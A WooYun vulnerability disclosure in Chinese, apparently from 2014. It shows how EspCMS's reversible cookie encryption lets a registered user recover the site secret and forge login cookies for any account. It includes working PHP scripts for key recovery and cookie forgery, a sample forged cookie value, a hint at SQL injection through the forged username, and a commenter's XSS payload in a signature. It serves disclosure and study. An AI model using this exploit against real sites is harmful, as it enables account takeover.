当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2014-53577

漏洞标题: EspCMS最新版可伪造任意帐户登陆(简单利用代码)

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: 飞扬风

提交时间: 2014-03-13 23:28

公开时间: 2014-06-11 23:29

漏洞类型: 非授权访问/权限绕过

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 认证缺陷

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-13: 细节已通知厂商并且等待厂商处理中
2014-03-14: 厂商已经确认,细节仅向厂商公开
2014-03-17: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-05-08: 细节向核心白帽子及相关领域专家公开
2014-05-18: 细节向普通白帽子公开
2014-05-28: 细节向实习白帽子公开
2014-06-11: 细节向公众公开

简要描述:

EspCMS最新版可伪造任意帐户登陆(源码分析)
测试版本espcms_utf8_5.8.14.03.03_b

详细说明:

EspCMS中用户cookie生成算法中重要的就是db_pscode

貌似前面有大牛提交过多次,厂商都只是略作修改,并没有最终搞定问题

这里来说一下,可以通过注册普通帐号,通过帐号+cookie破解得到db_pscode

首先是cookie加密算法,/public/class_function.php,144-170行

code 区域
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}



不知道分析的对不对,主要是没有采用不可逆函数,导致可以逆推得到db_pscode

我本地搭建时的db_pscode为81cc52c15f9f1df62679efdb12de1be,以此为例

首先注册帐号,获得cookie如下

QQ截图20140308142508.jpg



QQ截图20140308142526.jpg



简单写了个计算db_pscode的,写的比较菜~

code 区域
<?php 
$string = "lmlilJRmY5RiZpdql2KV";
$username = "111111111111111";
$result = "";
$mod4 = strlen($string) % 4;
if ($mod4) {
$string .= substr('====', $mod4);
}
$de_string = base64_decode($string);
for($i=0;$i<strlen($username);$i++){
$char = chr(ord($de_string[$i+1]) - ord($username[$i]));
$result .= $char;
}
echo "code=".$result;
?>



通过这段代码得到db_pscode

QQ截图20140308143311.jpg



db_pscode不完整是因为我们注册的用户名长度不够,只要注册足够长的用户名,就能得到足够长的cookie,就能得到完整db_pscode

得到db_pscode以后,只要伪造两个cookie就可以了,一个是ecisp_member_username,另一个是ecisp_member_info,就可以登陆任意帐户

也简单写了下计算cookie的代码

code 区域
<?php 
$string = "81cc52c15f9f1d";
//如果是计算用户名的cookie,这里直接填写用户名
//如果是计算info的cookie,这里填写格式为 2||0|1|||| ,第一个数字即为uid
$username = "2||0|1||||";
$result = "";
for($i=0;$i<strlen($username);$i++){
$keychar = substr($string, ($i % strlen($string)) - 1, 1);
$char = chr(ord($keychar) + ord($username[$i]));
$result .= $char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
echo $result;
?>



注意:这里构造的username,与uid不需要匹配,因为程序读取cookie的时候只查询是否有这个uid存在,所以username可以随意构造,只有uid存在就ok

漏洞证明:

比如我要登陆userid=1的帐户,通过计算得到cookie中ecisp_member_info为lrStk99mrt-tsQ

另外一个值随便取值计算,不能不存在就ok

修改cookie

QQ截图20140308144455.jpg



直接访问/index.php?ac=membermain&at=center,就登陆成功

QQ截图20140308144627.jpg



另外说一下,因为可以随意构造username,这样的话在username处构造注入的话。。。

发现有多个地方可以通过这个方式注入,绝对无视gpc,无视全局过滤

修复方案:

算法问题是一个根本问题。

版权声明:转载请注明来源 飞扬风@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2014-03-14 08:02

厂商回复:

相关问题我们已对部分用户提交解决方案。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-03-26 10:14 | 飞扬风 ( 普通白帽子 | Rank:528 漏洞数:129 | 追求安全,热爱技术)
    0

    @xsser 听说能有Qb?

  2. 2014-03-31 11:44 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    0

    @飞扬风 这个漏洞可以登录任意使用espcms站点的帐号?

  3. 2014-06-12 01:07 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)
    0

    好思路啊,回去仔细看看其他的

登录后才能发表评论,请先 登录